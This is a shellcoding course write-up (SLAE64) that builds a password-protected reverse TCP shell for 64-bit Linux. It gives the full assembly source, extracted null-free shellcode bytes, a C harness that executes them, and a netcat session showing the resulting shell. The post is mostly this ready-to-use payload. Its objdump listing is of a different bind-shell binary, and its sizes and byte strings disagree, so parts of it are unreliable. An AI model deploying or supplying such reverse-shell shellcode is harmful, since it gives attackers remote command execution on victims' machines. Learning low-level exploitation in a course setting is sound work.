This post introduces my 2nd mission of my SLAE64 journey.
Introduction
The main goal for the second SLAE64 assignment is to develop a reverse TCP shellcode with the following requirements:
- The reverse shell connects to the configured IP and port;
- The user needs to provide a correct password
- Executing a shell on incoming connection if the password is valid;
- The shellcode should be null-free;
Creating a TCP Reverse Shellcode
There is a lot of overlap information with my post regarding the SLAE32 TCP Reverse Shellcode. I advise you to look at it if you haven’t done it already. There are some essential concepts and ideas to understand what and why the shellcode is doing.
For this assignment I took the TCP Bind Shellcode used during the course as a reference. The following is already changed to work with a custom password. The same as assignment 1 - SLAE64 TCP Reverse Shellcode
The chosen password is again isolemnlyswearthatiamuptonogood
.
This a 31-byte size string, but our buffer has 32 bytes in size because of the
newline
byte when we pressenter
key.
This time i’ll directly to the null byte-free shellcode. If you want to look for a more detailed analysis, please check the Nulls? Get out of here! section of the previous assignment.
Adding the ask password part to the final shellcode
becomes as follows:
; Student ID : PA-31319
; Student Name : Eduardo Silva
; Assignment 1 : TCP Reverse Shell (Linux/x86_64) Assembly
; File Name : reverse-shell-password.nasm
global _start
_start:
jmp main
ask_pass: db "Tell me the passcode", 0xa
main:
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
xor rsi, rsi
mul rsi
add rax, 41
push byte 0x2
pop rdi
inc rsi
;xor rdx, rdx
syscall
; copy socket descriptor to rdi for future use
xchg rdi, rax
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = INADDR_ANY
; bzero(&server.sin_zero, 8)
xor rax, rax
push rax ; pushing 0.0.0.0 into in_addr
push word 0x2923 ;little endian -> 9001 = 0x2329
; byte first ... 0x115C is 4444)
push word 0x2 ; AF_INET - which is 0x02
mov rsi, rsp ; moving stack address to rsi
; connect(sock, (struct sockaddr *)&server, sockaddr_len)
xor rax, rax
mov rdx, rax
add rax, 42
mov rsi, rsp
add rdx, 16
syscall
; duplicate sockets
; dup2 (new, old)
xor rax, rax
mov al, 33
xor rsi, rsi
syscall
mov al, 33
inc rsi
syscall
mov al, 33
inc rsi
syscall
; ############ asking for password ------------------------------
password:
; sys_write
; rax : 1 - write syscall number
; rdi : unsigned int fd : 1 for stdout
; rsi : const char *buf : password buffer
; rdx : size_t count : password size
xor rax, rax
xor rdx, rdx ; or cqo??
inc rax
mov rdi, rax
lea rsi, [rel ask_pass]
mov dl, 21
syscall
; sys_read
; rdi : unsigned int fd : 0 for stdin
; rsi : char *buf : stack?
; rdx : size_t count : how big
xor rdx, rdx
xor rax, rax
xor rdi, rdi
; rax is already zero
mov rsi, rsp
add rdx, 32 ;password size
syscall
mov rdi, rsp
xor rsi, rsi
push rsi
mov rsi, 0x0a646f6f676f6e6f ; \ndoogono --> \n - new line byte = 0x0a
push rsi
mov rsi, 0x7470756d61697461 ; tpumaita
push rsi
mov rsi, 0x6874726165777379 ; htraewsy
push rsi
mov rsi, 0x6c6e6d656c6f7369 ; lnmelosi
push rsi
mov rsi, rsp ; password buffer pointer
xor rcx, rcx
add rcx, 32 ; 31 bytes for password and 1 byte for newline char
repe cmpsb
jne password
; ###### ------------------------------------------
; execve
; First NULL push
xor rax, rax
push rax
; push /bin//sh in reverse
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; Second NULL push
push rax
; set RDX
mov rdx, rsp
; Push address of /bin//sh
push rdi
; set RSI
mov rsi, rsp
; Call the Execve syscall
add rax, 59
syscall
We can verify the shellcode does not have null bytes as shown below with objdump
objdump -M intel -d shell-bind-password
shell-bind-password: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <_start>:
401000: eb 15 jmp 401017 <main>
0000000000401002 <ask_pass>:
401002: 54 push rsp
401003: 65 6c gs ins BYTE PTR es:[rdi],dx
401005: 6c ins BYTE PTR es:[rdi],dx
401006: 20 6d 65 and BYTE PTR [rbp+0x65],ch
401009: 20 74 68 65 and BYTE PTR [rax+rbp*2+0x65],dh
40100d: 20 70 61 and BYTE PTR [rax+0x61],dh
401010: 73 73 jae 401085 <password+0x9>
401012: 63 6f 64 movsxd ebp,DWORD PTR [rdi+0x64]
401015: 65 gs
401016: 0a .byte 0xa
0000000000401017 <main>:
401017: 48 31 f6 xor rsi,rsi
40101a: 48 f7 e6 mul rsi
40101d: 48 83 c0 29 add rax,0x29
401021: 6a 02 push 0x2
401023: 5f pop rdi
401024: 48 ff c6 inc rsi
401027: 0f 05 syscall
401029: 48 97 xchg rdi,rax
40102b: 48 31 c0 xor rax,rax
40102e: 50 push rax
40102f: 66 68 23 29 pushw 0x2923
401033: 66 6a 02 pushw 0x2
401036: 48 89 e6 mov rsi,rsp
401039: 48 83 c2 10 add rdx,0x10
40103d: 48 83 c0 31 add rax,0x31
401041: 0f 05 syscall
401043: 48 31 c0 xor rax,rax
401046: 48 89 c2 mov rdx,rax
401049: 48 83 c2 01 add rdx,0x1
40104d: 48 83 c0 32 add rax,0x32
401051: 0f 05 syscall
401053: 48 31 c0 xor rax,rax
401056: 48 89 c6 mov rsi,rax
401059: 48 89 c2 mov rdx,rax
40105c: 48 83 c0 2b add rax,0x2b
401060: 0f 05 syscall
401062: 48 97 xchg rdi,rax
401064: 4d 31 c9 xor r9,r9
0000000000401067 <loopin>:
401067: 48 31 c0 xor rax,rax
40106a: 48 83 c0 21 add rax,0x21
40106e: 4c 89 ce mov rsi,r9
401071: 0f 05 syscall
401073: 49 ff c1 inc r9
401076: 49 83 f9 03 cmp r9,0x3
40107a: 75 eb jne 401067 <loopin>
000000000040107c <password>:
40107c: 48 31 c0 xor rax,rax
40107f: 48 31 d2 xor rdx,rdx
401082: 48 ff c0 inc rax
401085: 48 89 c7 mov rdi,rax
401088: 48 8d 35 73 ff ff ff lea rsi,[rip+0xffffffffffffff73] # 401002 <ask_pass>
40108f: b2 15 mov dl,0x15
401091: 0f 05 syscall
401093: 48 31 d2 xor rdx,rdx
401096: 48 31 c0 xor rax,rax
401099: 48 31 ff xor rdi,rdi
40109c: 48 89 e6 mov rsi,rsp
40109f: 48 83 c2 20 add rdx,0x20
4010a3: 0f 05 syscall
4010a5: 48 89 e7 mov rdi,rsp
4010a8: 48 31 f6 xor rsi,rsi
4010ab: 56 push rsi
4010ac: 48 be 6f 6e 6f 67 6f movabs rsi,0xa646f6f676f6e6f
4010b3: 6f 64 0a
4010b6: 56 push rsi
4010b7: 48 be 61 74 69 61 6d movabs rsi,0x7470756d61697461
4010be: 75 70 74
4010c1: 56 push rsi
4010c2: 48 be 79 73 77 65 61 movabs rsi,0x6874726165777379
4010c9: 72 74 68
4010cc: 56 push rsi
4010cd: 48 be 69 73 6f 6c 65 movabs rsi,0x6c6e6d656c6f7369
4010d4: 6d 6e 6c
4010d7: 56 push rsi
4010d8: 48 89 e6 mov rsi,rsp
4010db: 48 31 c9 xor rcx,rcx
4010de: 80 c1 20 add cl,0x20
4010e1: f3 a6 repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
4010e3: 75 97 jne 40107c <password>
4010e5: 48 31 c0 xor rax,rax
4010e8: 50 push rax
4010e9: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f
4010f0: 2f 73 68
4010f3: 53 push rbx
4010f4: 48 89 e7 mov rdi,rsp
4010f7: 50 push rax
4010f8: 48 89 e2 mov rdx,rsp
4010fb: 57 push rdi
4010fc: 48 89 e6 mov rsi,rsp
4010ff: 48 83 c0 3b add rax,0x3b
401103: 0f 05 syscall
From the output we can verify the null bytes were gone effectively.
Compiling and Testing the Shellcode
To be easier to compile my shellcode scripts and get the size and the opcodes I’ll use the 64-bit version of assembler.sh
.
Available in https://github.com/0xnibbles/slae_x86_64/blob/main/assembler.sh
Checking assembler.sh
output
╭─edu@debian ~/Desktop/slae_x86_64/assignments/2-shell-reverse-tcp-password-shellcode ‹main●›
╰─$ ../../assembler.sh reverse-shell-password.nasm
[*] Compiling with NASM
[*] Linking
[*] Extracting opcodes
[*] Done
Shellcode size: 238
"\xeb\x15\x54\x65\x6c\x6c\x20\x6d\x65\x20\x74\x68\x65\x20\x70\x61\x73\x73\x63\x6f\x64\x65\x0a\x48\x31\xf6\x48\xf7\xe6\x48\x83\xc0\x29\x6a\x02\x5f\x48\xff\xc6\x0f\x05\x48\x97\x48\x31\xc0\x50\x66\x68\x23\x29\x66\x6a\x02\x48\x89\xe6\x48\x31\xc0\x48\x89\xc2\x48\x83\xc0\x2a\x48\x89\xe6\x48\x83\xc2\x10\x0f\x05\x48\x31\xc0\xb0\x21\x48\x31\xf6\x0f\x05\xb0\x21\x48\xff\xc6\x0f\x05\xb0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x31\xd2\x48\xff\xc0\x48\x89\xc7\x48\x8d\x35\x8b\xff\xff\xff\xb2\x15\x0f\x05\x48\x31\xd2\x48\x31\xc0\x48\x31\xff\x48\x89\xe6\x48\x83\xc2\x20\x0f\x05\x48\x89\xe7\x48\x31\xf6\x56\x48\xbe\x6f\x6e\x6f\x67\x6f\x6f\x64\x0a\x56\x48\xbe\x61\x74\x69\x61\x6d\x75\x70\x74\x56\x48\xbe\x79\x73\x77\x65\x61\x72\x74\x68\x56\x48\xbe\x69\x73\x6f\x6c\x65\x6d\x6e\x6c\x56\x48\x89\xe6\x48\x31\xc9\x48\x83\xc1\x20\xf3\xa6\x75\x96\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"
--------------------
[*] Hack the World!
--------------------
No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xeb\x15\x54\x65\x6c\x6c\x20\x6d\x65\x20\x74\x68\x65\x20\x70\x61\x73\x73\x63\x6f\x64\x65\x0a\x48\x31\xf6\x48\xf7\xe6\x48\x83\xc0\x29\x6a\x02\x5f\x48\xff\xc6\x0f\x05\x48\x97\x48\x31\xc0\x50\x66\x68\x23\x29\x66\x6a\x02\x48\x89\xe6\x48\x31\xc0\x48\x89\xc2\x48\x83\xc0\x2a\x48\x89\xe6\x48\x83\xc2\x10\x0f\x05\x48\x31\xc0\xb0\x21\x48\x31\xf6\x0f\x05\xb0\x21\x48\xff\xc6\x0f\x05\xb0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x31\xd2\x48\xff\xc0\x48\x89\xc7\x48\x8d\x35\x8b\xff\xff\xff\xb2\x15\x0f\x05\x48\x31\xd2\x48\x31\xc0\x48\x31\xff\x48\x89\xe6\x48\x83\xc2\x20\x0f\x05\x48\x89\xe7\x48\x31\xf6\x56\x48\xbe\x6f\x6e\x6f\x67\x6f\x6f\x64\x0a\x56\x48\xbe\x61\x74\x69\x61\x6d\x75\x70\x74\x56\x48\xbe\x79\x73\x77\x65\x61\x72\x74\x68\x56\x48\xbe\x69\x73\x6f\x6c\x65\x6d\x6e\x6c\x56\x48\x89\xe6\x48\x31\xc9\x80\xc1\x20\xf3\xa6\x75\x97\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
main() {
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compiling with gcc
and executing it
╭─edu@debian ~/Desktop/slae_x86_64/assignments/2-shell-reverse-tcp-password-shellcode ‹main●›
╰─$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
main() {
^~~~
╭─edu@debian ~/Desktop/slae_x86_64/assignments/2-shell-reverse-tcp-password-shellcode ‹main●›
╰─$ ./shellcode
Shellcode Length: 237
---------------
╭─edu@debian ~/Desktop/slae_x86_64/assignments/1-shell-bind-tcp-password-shellcode ‹main●›
╰─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 44000
Tell me the passcode
hgdajhsd
Tell me the passcode
isolemnlyswearthatiamuptonogood
whoami
edu
id
uid=1000(edu) gid=1000(edu) ...
Oh yeah! We get a connection back and the spawn a shell if th epassword is correct!
This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64): https://www.pentesteracademy.com/course?id=7
Student ID: PA-31319
All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86_64